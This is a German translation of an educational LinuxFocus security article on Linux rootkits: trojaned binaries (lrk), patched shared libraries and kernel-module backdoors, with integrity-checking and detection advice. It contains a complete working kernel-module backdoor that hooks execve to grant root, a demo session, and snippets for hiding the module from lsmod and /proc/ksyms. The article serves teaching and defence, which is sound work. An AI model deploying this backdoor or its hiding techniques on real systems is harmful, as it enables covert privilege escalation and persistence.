Rootkits und die Integrität

by Frédéric Raynal aka Pappy (homepage)

About the author:

Frédéric Raynal errang einen Ph.D in Computerwissenschaften mit einer Arbeit über Methoden zum Verbergen von Informationen. Er ist der Chefredakteur eines französischen Magazins namens MISC, welches sich der Computersicherheit widmet. Nebenbei bemerkt, ist er gerade auf Jobsuche.

Abstract:

Dieser Artikel wurde ursprünglich in einer Spezialausgabe des französischen Linux Magazins mit dem Thema Sicherheit veröffentlicht. Der Herausgeber, die Autoren und die Übersetzer erlaubten LinuxFocus freundlicherweise, jeden Artikel aus dieser Ausgabe zu veröffentlichen. Folglich wird LinuxFocus euch diese Artikel, sobald sie übersetzt sind, bringen. Einen Dank an alle Leute, die mit diesem Werk zu tun haben. Dieser Abriss wird jedem Artikel aus dieser Reihe vorangestellt.

Dieser Artikel zeigt die verschiedenen Aktionen auf, die ein Cracker durchführen kann, nachdem er in eine Maschine eingedrungen ist. Wir werden außerdem sehen, was ein Administrator unternehmen kann, um zu erkennen, dass seine Maschine gefährdet ist.

Translated to English by:
Georges Tarbouriech
<georges.t(at)linuxfocus.org>

Gefahren

Laßt uns annehmen, dass es einem Cracker gelang, in das System einzudringen, ohne uns darum zu kümmern, auf welche Art ihm das gelang. Wir nehmen an, dass er alle Rechte (Administrator, root...) auf dieser Maschine besitzt. Das ganze System ist nicht mehr vertrauenswürdig, selbst wenn jedes Tool behauptet, dass alles in Ordnung sei. Der Cracker bereinigte alle Systemprotokolle und hat es sich tatsächlich bequem auf dem System eingerichtet.

Sein erstes Ziel ist es, so diskret wie möglich zu bleiben, um zu verhindern, dass der Administrator seine Anwesenheit entdeckt. Als nächstes wird er die Tools installieren, die er benötigt, um die Dinge durchzuführen, die er vorhat.

Offensichtlich kann der Administrator auf seiner Maschine nicht laufend auf neue Verbindungen achten. Dennoch muß er ein ungewolltes Eindringen so schnell wie möglich entdecken. Die gefährdete Maschine kann eine Startrampe für die Programme des Crackers werden (bot IRC, DDOS, ...). Zum Beispiel kann er,

wenn er einen Sniffer benutzt, alle Netzwerkpakete lesen. Viele Protokolle verschlüsseln die Daten und Passworte nicht, (wie `telnet`, `rlogin`, `pop3`, und viele andere). Je mehr Zeit der Cracker also bekommt, desto mehr Kontrolle kann er über das Netzwerk der gefährdeten Maschine übernehmen.

Wenn seine Anwesenheit einmal entdeckt ist, tritt ein weiteres Problem auf: wir wissen nicht, was der Cracker im System verändert hat. Er tauschte wahrscheinlich grundlegende Systembefehle und Diagnostik−Werkzeuge aus, um sich zu verstecken. Wir müssen dann sehr genau arbeiten, um sicherzugehen, dass wir nichts übersehen. Ansonsten könnte das System auf ein Neues in Gefahr gebracht werden.

Die letzte Frage betrifft die zu unternehmenden Maßnahmen. Es gibt zwei Verfahrensweisen. Entweder installiert der Administrator das komplette System neu, oder er ersetzt nur die korrumpierten Dateien. Eine Neuinstallation dauert eine ganze Weile, das Ersetzen der korrumpierten Programme, wobei sichergestellt wird, nichts zu übersehen, erfordert große Sorgfalt.

Welcher Methode auch der Vorzug gegeben wird, es wird empfohlen eine Sicherung des korrupten Systems durchzuführen, um den Weg zu entdecken, den der Cracker in das System genommen hat. Weiterhin könnte die Maschine in einer weitaus größeren Attacke benutzt worden sein, was zu rechtlichen Maßnahmen gegen uns führen könnte. Keine Systemsicherung durchzuführen, könnte als Vernichtung von Beweismittel angesehen werden... während diese dich eigentlich entlasten könnten.

Es gibt Unsichtbarkeit... Ich habe sie gesehen!

Hier diskutieren wir einige verschiedene Methoden, die benutzt werden, um auf dem überfallenen System unsichbar zu bleiben, wobei einem höchste Privilegien im erbeuteten System bewahrt bleiben.

Bevor wir zum Kern der Sache vorstoßen, lass uns ein wenig Terminologie definieren:

- *Trojaner (trojan)*: das ist eine Anwendung, die so erscheint, als wäre sie eine andere. Versteckt hinter einem bekannten Leistungsmerkmal kann das Programm sich anders verhalten, normalerweise zum Nachteil des Benutzers. So kann ein Trojaner zum Beispiel Systemdaten verstecken, um zu verhindern, dass der Benutzer gegenwärtige Verbindungen sieht.
- *Hintertür (backdoor)*: Dieses Ausdruck wird benutzt, um einen Zugriffspunkt zu einem Programm zu beschreiben, der nicht dokumentiert ist. Normalerweise sind dies Optionen, die von Entwicklern genutzt werden, um Daten aus einer Anwendung zu erhalten, in die die Hintertür implementiert worden ist.

Wenn ein System übernommen worden ist, benötigt der Cracker beide Arten von Programmen. Hintertüren erlauben ihm, auf die Maschine zu gehen, selbst wenn der Administrator jedes Passwort ändert. Trojaner erlauben ihm, ungesehen zu bleiben.

Wir unterscheiden für den Moment nicht, ob ein Programm ein Trojaner oder eine Hintertür ist. Unser Ziel ist es, gängige Methoden zu zeigen, wie man sie implementiert (sie sind ziemlich identisch) und wie man sie entdeckt.

Zuletzt sei noch erwähnt, dass die meisten Linux Distributionen einen Authentifizierungsmechanismus bieten (d.h. gleichzeitig die Integrität und die Herkunft überprüfen, z. B.: `rpm --checksig`). Es wird dringend empfohlen, diese Überprüfung durchzuführen, bevor irgendwelche Software auf dem System installiert wird. Falls du ein korruptes Archiv erhalten und installiert hast, braucht es der Cracker nicht mehr machen. Das ist das, was unter Windows mit Back Orifice passiert ist.

Ersetzung der Binärdateien

In der Unix−Vorgeschichte war es nicht sehr schwierig, ein Eindringen auf einer Maschine zu entdecken:

- das `last` Kommando zeigt die Benutzerkonten, die von dem Eindringling benutzt worden sind, und die Orte, von denen aus er sich mit dem System verbunden hat, sowie die dazugehörigen Zeiten;
- `ls` zeigt Dateiinformationen und `ps` listet die laufenden Programme auf (sniffer, password cracker...);
- `netstat` zeigt die aktiven Verbindungen der Maschine an;
- `ifconfig` weist darauf hin, ob eine Netzwerkkarte im `promiscuous`−Modus ist. Ein Modus, der es einem Sniffer erlaubt, alle Netzwerkpakete zu lesen

Seitdem haben Cracker Werkzeuge entwickelt, um diese Befehle zu ersetzen. Wie die Griechen ein hölzernes Pferd gebaut haben, um Troja zu erobern, sehen diese Programme wie etwas Bekanntes aus und sind so dem Administrator vertraut. Diese neuen Programmversionen verbergen jedoch die Informationen, die den Cracker betreffen. Da die Dateien den gleichen Zeitstempel behalten wie die anderen Programme aus dem gleichen Verzeichnis und die Prüfsummen sich (durch einen weiteren Trojaner) nicht geändert haben, wird der "naive" Administrator völlig hinters Licht geführt.

Linux Root−Kit

Das `Linux Root-Kit` (`lrk`) ist der klassische Vertreter seiner Art, auch wenn es bereits ein wenig alt ist. Von Lord Somer entwickelt, liegt es heute in seiner fünften Version vor. Es gibt eine Menge weiterer Rootkits und wir werden hier nur die Merkmale dieses einen diskutieren, um eine Idee zu vermitteln, was diese Werkzeuge leisten.

Die ersetzten Kommandos stellen priviligierten Zugang zum System zur Verfügung. Um zu verhindern, dass irgendjemand diese Kommandos benutzt und die Änderungen bemerkt, sind sie durch ein Passwort geschützt (Standard ist `satori`), welches zum Kompilierungszeitpunkt eingestellt werden kann.

- Diese Programme verstecken die vom Cracker benutzten Ressourcen vor anderen Benutzern:
  - `ls`, `find`, `locate`, `xargs` oder `du` werden seine Dateien nicht anzeigen;
  - `ps`, `top` oder `pidof` verbergen seine Prozesse;
  - `netstat` zeigen die ungewollten Verbindungen nicht an, insbesondere nicht die zu den Daemons des Crackers, wie `bindshell`, `bnc` oder `eggdrop`;
  - `killall` läßt seine Prozesse weiterlaufen;
  - `ifconfig` zeigt nicht an, dass das Netzwerkgerät im `promiscuous`−Modus geschaltet ist (der "`PROMISC`"−Text erscheint normalerweise, wenn dem so ist);
  - `crontab` zeigt seine geplanten Aktivitäten nicht;
  - `tcpd` protokolliert bestimmte Verbindungen, die in einer Konfigurationsdatei stehen, nicht;
  - `syslogd` wie `tcpd`.
- Die Hintertüren erlauben es dem Cracker, seine Identität zu ändern:
  - `chfn` öffnet eine Shell mit Root−Rechten, wenn das Rootkit−Passwort als Benutzername mit eingegeben wurde;
  - `chsh` öffnet eine Shell mit Root−Rechten, wenn das Rootkit−Passwort als neue Shell eingegeben wurde;

    - ♦ `passwd` öffnet eine Shell mit Root−Rechten, wenn das Rootkit−Passwort als Passwort eingegeben wurde;
    - ♦ `login` erlaubt es dem Cracker, sich am System anzumelden, wenn das Rootkit−Passwort eingegeben wird (dann wird die History−Funktion deaktiviert);
    - ♦ `su` wie `login`;
- Daemons bieten dem Cracker einen einfachen Fernzugriff an:
    - ♦ `inetd` installiert eine Rootshell, die auf einem bestimmten Port lauscht. Nach dem Verbindungsaufbau muss das Rootkit−Passwort in der ersten Zeile eingegeben werden;
    - ♦ `rshd` führt das angegebene Kommando mit Root−Rechten aus, wenn der Benutzername das Rootkit−Passwort ist;
    - ♦ `sshd` arbeitet wie `login` bietet jedoch Fernzugriff;
- Diese Programme helfen dem Cracker:
    - ♦ `fix` installiert das korrupte Program unter Beibehalten des originalen Zeitstempels und der Prüfsumme;
    - ♦ `linsniffer` erfasst Netzwerkpakete, Passworte und mehr;
    - ♦ `sniffchk` überprüft, ob der Sniffer noch arbeitet;
    - ♦ `wted` erlaubt `wtmp`−Datei Bearbeitung;
    - ♦ `z2` löscht ungewünschte Einträge in den Dateien `wtmp`, `utmp` und `lastlog`;

Dieses klassische Rootkit ist veraltet, da die Rootkits der neuen Generation den Kernel direkt angreifen. Ferner werden diese geänderten Programme nicht mehr benutzt.

Diese Art Rootkit aufdecken

Falls unsere Sicherheits−Policy streng ist, kann diese Art Rootkits einfach entdeckt werden. Mit seinen Hash−Funktionen versorgt uns die Kryptographie mit den richtigen Werkzeugen dazu:

```
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig
```

Ohne genau zu wissen, was geändert wurde, sieht man sofort, dass das installierte `ifconfig` und das von `lrk5` unterschiedlich sind.

Folglich ist es erforderlich, sobald die Systeminstallation durchgeführt worden ist, die sensiblen Dateien (zu den "sensiblen Dateien" später mehr) als Hashwerte in eine Datenbank abzulegen, um eine Veränderung so schnell wie möglich zu entdecken.

Die Datenbank muß auf ein **physisch** unbeschreibbares Medium (floppy, nicht wiederbeschreibbare CD...) gespeichert werden. Laßt uns annehmen, der Cracker errang Administratorrechte auf dem System. Wenn die Datenbank auf einer Nur−Lesen−Partition gespeichert wäre, müsste der Cracker diese einfach nur mit Lese− und Schreibzugriff re−mounten, sie aktualisieren und wieder Nur−Lesen mounten. Wenn er daran denkt, wird er sogar die Zeitstempel anpassen. Danach wird, wenn man das nächste Mal die Integrität prüft, kein Unterschied erkennbar sein. Das zeigt, dass die Superuser−Rechte nicht genug Schutz bieten, diese Datenbank zu ändern.

Wenn das System aktualisiert wird, muß auch diese Datenbank erneuert werden. Auf diese Art ist man in der Lage, die Authentizität des erneuerten Systems zu prüfen und ungewollte Veränderungen zu entdecken.

So erfordert die Überprüfung der Systemintegrität also zwei Bedingungen:

1. Hashwerte des Dateisystems müssen mit entsprechenden Hashwerten verglichen werden, denen zu 100% zu vetrauen ist. Deshalb muss diese Datenbank auf einem Nur–Lesen–Medium gespeichert sein;
2. die Werkzeuge, die zur Integritätsprüfung benutzt werden, müssen "sauber" sein.

Das heißt, jede Systemüberprüfung muss mit Werkzeugen durchgeführt werden, die von einem anderen (nicht gefährdeten) System kommen.

Der Gebrauch dynamischer Bibliotheken

Wie wir gesehen haben, erfordert es die Änderung vieler Dinge im System, um unsichtbar zu werden. Viele Befehle erlauben es uns zu ermitteln, ob eine Datei existiert und alle diese Befehle müssen geändert werden. Das gleiche gilt für die Netzwerkverbindungen und die laufenden Prozesse auf der Maschine. Den letzen Punkt zu vergessen, ist ein schwerer Fehler, wenn Diskretion das Ziel ist.

In der heutigen Zeit benutzt man meistens dynamische Bibliotheken, um zu große Programmdateien zu vermeiden. Um das oben erwähnte Problem zu lösen, geht man dazu über, nicht jedes Programm zu ändern, sondern stattdessen die erforderlichen Funktionen in die passende Bibliothek einzubauen.

Lasst uns ein Beispiel nehmen, bei dem der Cracker die Betriebszeit der Machine, seit er sie neu gestartet hat, ändern möchte. Diese Information wird im System von verschiedenen Kommandos angezeigt, wie `uptime`, `w`, `top`.

Um die Bibliotheken kennenzulernen, die diese Programme benutzen, benutzen wir das `ldd` Kommando:

```
[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

Neben der `libc`, wird `libproc.so` von allen drei Programmen benutzt. Das reicht, um den Quellcode zu bekommen und zu ändern, wie wir es wollen. Hier werden wir die Version 2.0.7 benutzen, die im Verzeichnis `$PROCPS` liegt.

Der Quellcode des `uptime` Befehls (in `uptime.c`) zeigt uns, dass wir die Funktionen `print_uptime()` (in `$PROCPS/proc/whattime.c`) und `uptime(double *uptime_secs, double *idle_secs)` (in `$PROCPS/proc/sysinfo.c`) finden können. Lasst uns die letztere entsprechend unseren Bedürfnissen ändern:

```
/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
```

```
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;       /* assume never be zero seconds in practice */
22:  }
```

Wenn die Zeilen 12 bis 16 hinzugefügt werden, wird die Funktion ein geändertes Ergebnis zurückliefern. Wenn die `TERM` Umgebungsvariable nicht den Wert "`satori`" enthält, dann wird die `up` Variable proportional zum Logarithmus der wirklichen Betriebszeit der Maschine inkrementiert (mit der benutzten Formel erreicht diese Betriebszeit schnell ein paar Jahre)

Um die neue Bibliothek zu kompilieren, fügen wir die `-D_LIBROOTKIT_` und `-lm` Optionen hinzu (für `log(up);`). Wenn wir mit `ldd` nachsehen, welche Bibliotheken ein Programm nutzt, das unsere `uptime` Funktion nutzt, bemerken wir, dass `libm` als Teil dieser Auflistung angezeigt wird. Unglücklicherweise gilt das für die im System installierten Programme so nicht. Wenn unsere Bibliothek so, wie sie ist, genutzt wird, führt das zu folgendem Fehler:

```
[procps-2.0.7]# ldd ./uptime  //command compiled with the new libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //cmd d'origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //original command
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log
```

Um zu verhindern, das die Programme alle neu kompiliert werden müssen, reicht es, wenn man die Nutzung der statischen Mathematik–Bibliothek beim Erstellen von `libproc.so` erzwingt:

```
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7  alloc.o
compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o
sysinfo.o version.o whattime.o /usr/lib/libm.a
```

So wird die Funktion `log()` direkt in `libproc.so` eingebunden. Die modifizierte Bibliothek muß die gleichen Abhängigkeiten wie die originale Bibliothek bewahren, sonst werden die abhängigen Programme nicht funktionieren.

```
[pappy]# uptime
  2:12pm  up 7919 days,  1:28,  2 users,  load average: 0.00, 0.03, 0.00

[pappy]# w
```

```
  2:12pm  up 7920 days, 22:36,  2 users,  load average: 0.00, 0.03, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
  2:14pm  up 8022 days, 32 min,  2 users,  load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:   191308K av,  181984K used,    9324K free,   0K shrd, 2680K buff
Swap:  249440K av,       0K used,  249440K free             79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
  2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM
```

Alles funktoniert bestens. Es scheint, dass `top` die `TERM` Umgebungsvariable benutzt, um seine Anzeige zu verwalten. Es ist besser, eine andere Variable zu nutzen, um zu bewirken, dass der echte Wert angezeigt werden soll.

Die Vorkehrungen, die zu treffen sind, um Änderungen in dynamischen Bibliotheken zu entdecken, entsprechen den vorher erwähnten. Es genügt, die Hashwerte zu überprüfen. Unglücklicherweise versäumen es zu viele Administratoren, die Hashwerte zu berechnen und konzentrieren sich nur auf gewohnte Verzeichnisse (`/bin`, `/sbin`, `/usr/bin`, `/usr/sbin`, `/etc`...), während alle Verzeichnisse, die die Bibliotheken enthalten, ebenfalls zu den sensiblen gehören.

Wie auch immer, das Interesse dynamische Bibliotheken zu modifizieren, liegt nicht nur darin, gleichzeitig die verschiedenen Programmverhalten zu ändern. Einige Programme, die zur Integritätsprüfung des Systems genutzt werden, benutzen ebenfalls diese Bibliotheken. Das ist ziemlich gefährlich! Auf einem sensiblen System müssen alle essentiellen Programme statisch kompiliert werden, damit sie nicht von Änderungen in den Bibliotheken in Mitleidenschaft gezogen werden.

Demnach ist das vorhin erwähnte `md5sum` Program ziemlich gefährlich:

```
[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

Es ruft dynamische Funktionen von der `libc` auf, die geändert sein kann (Überprüfung mit `nm -D `which md5sum``). Wenn zum Beispiel `fopen()` genutzt wird, reicht es, den Dateipfad zu prüfen. Wenn dieser ein gecracktes Programm beschreibt, wird der Zugriff zum Originalprogramm umgelenkt: der Cracker sollte es irgendwo im System versteckt haben.

Dieses einfache Beispiel zeigt die Möglichkeiten, um Integritätstests in die Irre zu führen. Wir haben gesehen, dass sie mit externen Werkzeugen durchgeführt werden sollten, also mit welchen von anderen Systemen. Wir

entdecken jetzt, dass sie nutzlos sind, wenn sie Funtkionen vom gefährdeten System aufrufen.

Wir können jetzt ein Notfall−Kit zusammenstellen, das die Anwesenheit eines Crackers entdeckt:

- `ls`, um seine Dateien zu finden;
- `ps`, um die Prozess−Aktivitäten zu kontrollieren;
- `netstat`, um Netzwerkverbindungen zu beobachten;
- `ifconfig`, um den Netzwerkgerätestatus zu kennen.

Diese Programme repräsentieren das Minimum. Andere Programme sind ebenfalls sehr lehrreich:

- `lsof` listet alle offenen Dateien des Systems auf;
- `fuser` identifiziert die Prozesse, die eine Datei nutzen.

Es sei hier erwähnt, dass diese Befehle nicht nur genutzt werden, um die Anwesenheit eines Crackers zu entdecken, sondern um das System im Falle von Problemen zu diagnostizieren.

Es ist offensichtlich, dass **jedes Program, das Teil eines Notfall−Kits ist, statisch kompiliert sein muss**. Wir haben gerade gesehen, das dynamische Bibliotheken verhängnisvoll sein können.

Linux Kernel Module (LKM) "for fun and profit"

Jede Binärdatei, die einen Cracker verraten könnte, ändern, jede Bibliothek zu ändern, wäre unmöglich. Unmöglich sagtest du? Nicht ganz.

Ein neue Root−Kit Generation verändert den Kernel.

Die Reichweite von LKM

Unbegrenzt! Wie der Name sagt, ein LKM arbeitet im Kernel Space, und kann deshalb abslut alles kontrollieren.

Für einen Cracker bietet das LKM:

- Verstecken von Datein
- den Inhalt von Dateien filtern (entfernen von IP Adressen und Prozessen aus log Dateien...)
- aus einem Gefängnis, das mit `chroot` gebaut wurde, zu entkommen
- den Zustand von Netzwerkschnittstellen verbergen (promiscuous mode)
- Prozesse verstecken
- Pakete zu sniffen
- Hintertüren installieren (backdoors) ...

Die Länge der Liste hängt von der Fantasie des Crakers ab. Ein Systemadministrator kann jedoch die gleichen Methoden benutzen, um sein System zu schützen:

- Er kann das Hinzufügen und Löschen von Modulen verhindern
- Er kann Veränderungen in Dateien prüfen
- Er kann bestimmen, wer welche Programme ausführen darf

- Authentifizierung für bestimmte Dinge erzwingen (z.B für promiscuous mode)

Wie kann man sich gegen LKMs schützen? Zur Compilierzeit kann man Unterstützung für Module deaktivieren (N zu `CONFIG_MODULES` sagen) oder es kann keine ausgewählt werden (nur mit Y und N antworten). Das führt zu einem sogenannten *monolytischem* Kernel.

Aber selbst ohne Modulunterstützung im Kernel ist es möglich, einige Module in den Speicher zu laden (nicht ganz einfach). Silvio Cesare hat ein `kinsmod` Programm geschrieben, mit dem man den Kernel über `/dev/kmem` angreifen kann. Lies dazu die Datei runtime−kernel−kmem−patching.txt auf Silvio's Homepage.

Um Modulprogrammierung zusammenzufassen: Alles hängt von zwei Funktionen im Modul ab. `init_module()` und `cleanup_module()`. Diese beiden Funktionen definieren das Verhalden eines Moduls. Da sie vom Kernel im Kernel Space aufgerufen werden, können sie auf den gesamten Speicher des Kernels zugreifen (Systemaufrufe, Symbole...).

Hier geht's rein !

Wir wollen eine Hintertür (backdoor) Installation via LKM vorstellen. Der Benutzer, der eine root Shell möchte, braucht nur den Befehl `/etc/passwd` ausführen. Klar, das ist kein Befehl, aber wir lenken einfach den Systemaufruf `sys_execve()` um auf `/bin/sh` und erteilen root Privilegien.

Dieses Modul wurde mit verschiedenen Kenelversionen getestet: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Es funktioniert mit allen. Mit 2.2.19smp−ow1 (Multiprocessor mit Openwall Patch) gibt es uns jedoch keine root Privilegien. Der Kernel ist etwas empfindliches und zerbrechliches. Sei vorsichtig...

```
/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
```

```
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
         current->uid, current->euid, current->suid, current->fsuid,
         current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it:)))\n");
    current->uid = current->euid = current->suid = current->fsuid = 0;
    current->gid = current->egid = current->sgid = current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE        /* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
                   sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded:(\n");
}
```

Lass uns prüfen, dass alles wie erwartet funktioniert:

```
[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#
```

Nach dieser kurzen Vorführung schauen wir uns mal `/var/log/kernel` an: `syslogd` schreibt dort alle Nachrichten des Kernels, falls `kern.* /var/log/kernel` in `/etc/syslogd.conf` gesetzt wurde:

```
charly kernel: [rootshell] Loaded:)
charly kernel: [rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
charly kernel: [rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
charly kernel: [rootshell]  Got it:)))
charly kernel: [rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
charly kernel: [rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
charly kernel: [rootshell] Unloaded:(
```

Wenn man dieses Modul leicht verändert, kann ein Systemadministrator ein gutes Überwachungswerkzeug erhalten. Alle Kommandos, die im System ausgeführt werden, stehen in der Logdatei. Das `regs.ecx` Register enthält `**argv` und `regs.edx **envp` mit der aktuellen Struktur beschreibt die aktuelle Aufgabe. Damit kann man über den `**envp` auf die task struct zugreifen und alle Informationen über das, was im System vorgeht, erhalten.

Entdeckung und Sicherheit

Der Administrator kann das Modul über einfache Integritätstests nicht mehr erkennen. Wir analysieren die Fingerabdrücke, die ein solches root–kit zurückläßt:

- backdoors: `rootshell.o` ist auf Dateisystemebene nicht unsichtbar, da es ein sehr einfaches Modul ist. Es würde jedoch ausreichen, `sys_getdents()` zu ändern, um das Modul unsichtbar zu machen.
- Sichtbare Prozesse: Die offene Shell erscheint in der Taskliste und kann den Eindringling verraten. Hierzu müsste man `sys_kill()` umdefinieren und ein `SIGINVISIBLE` Signal einführen und den Zugriff auf bestimmte Dateien in `/proc` ändern (siehe das `adore` lrk);
- In der Modulliste: `lsmod` zeigt eine Liste der geladenen Module im Speicher:

  ```
  [root@charly module]$ lsmod
  Module                  Size  Used by
  rootshell                832   0  (unused)
  emu10k1                41088   0
  soundcore               2384   4  [emu10k1]
  ```

  Wenn ein Modul geladen wird, erscheint es am Anfang der `module_list` und sein Name wird in `/proc/modules` eingetragen. `lsmod` liest einfach `/proc/modules`, um Informationen zu finden. Wenn man das Modul aus `module_list` entfernt, so verschwindet es in `/proc/modules`:

```
int init_module(void) {
  [...]
  if (!module_list->next)  //this is the only module:(
    return -1;

  // This works fine because __this_module == module_list
  module_list = module_list->next;
  [...]
}
```

Leider verhindert das ein späteres Entfernen des Moduls und seine Adresse bleibt im Speicher erhalten.

- Symbole in `/proc/ksyms`: Diese Datei enthält eine Liste aller im Kernel Space erreichbaren Symbole:

```
[...]
e00c41ec magic_cmd      [rootshell]
e00c4060 __insmod_rootshell_S.text_L281 [rootshell]
e00c41ec __insmod_rootshell_S.data_L8   [rootshell]
e00c4180 __insmod_rootshell_S.rodata_L107       [rootshell]
[...]
```

Das `EXPORT_NO_SYMBOLS` Macro, von `include/linux/module.h`, informiert den Compiler, dass keine Funktion oder Variable erreichbar sein soll außer dem Modul selbst:

```
int init_module(void) {
  [...]
  EXPORT_NO_SYMBOLS;
  [...]
}
```

Jedoch bleiben für die 2.2.18, 2.2.19 et 2.4.x (x<=3 – vielleicht auch für andere) Kernel die `__insmod_*` Symbole sichtbar. Entfernt man das Modul aus `module_list`, so verschwindet es auch aus der Symbolliste in `/proc/ksyms`.

Die hier diskutierten Probleme/Lösungen brauchen User Space Befehle (normale Befehle). Ein gutes LKM wird all diese Techniken nutzen, um unsichtbar zu bleiben.

Es gibt zwei Möglichkeiten diese root–kits zu entdecken. Die erste benutzt `/dev/kmem` und vergleicht es mit dem Kernel Image in `/proc`. Ein Programm wie `kstat` erlaubt es, in `/dev/kmem` zu suchen und augenblickliche Prozesse auf deren Einstiegsadressen für Systemaufrufe zu überprüfen... Toby Millers Artikel *Detecting Loadable Kernel Modules (LKM)* beschreibt, wie man `kstat` benutzt, um so ein root–kit zu entdecken.

Die zweite Möglichkeit ist, alle Versuche den System Call Table zu modifizieren, aufzudecken. Das `St_Michael` Modul von Tim Lawless erlaubt solch eine Überwachung.
Die folgede Information wird sich wahrscheinlich ändern, da das Modul noch in der Entwicklung war, als dieser Text geschrieben wurde.

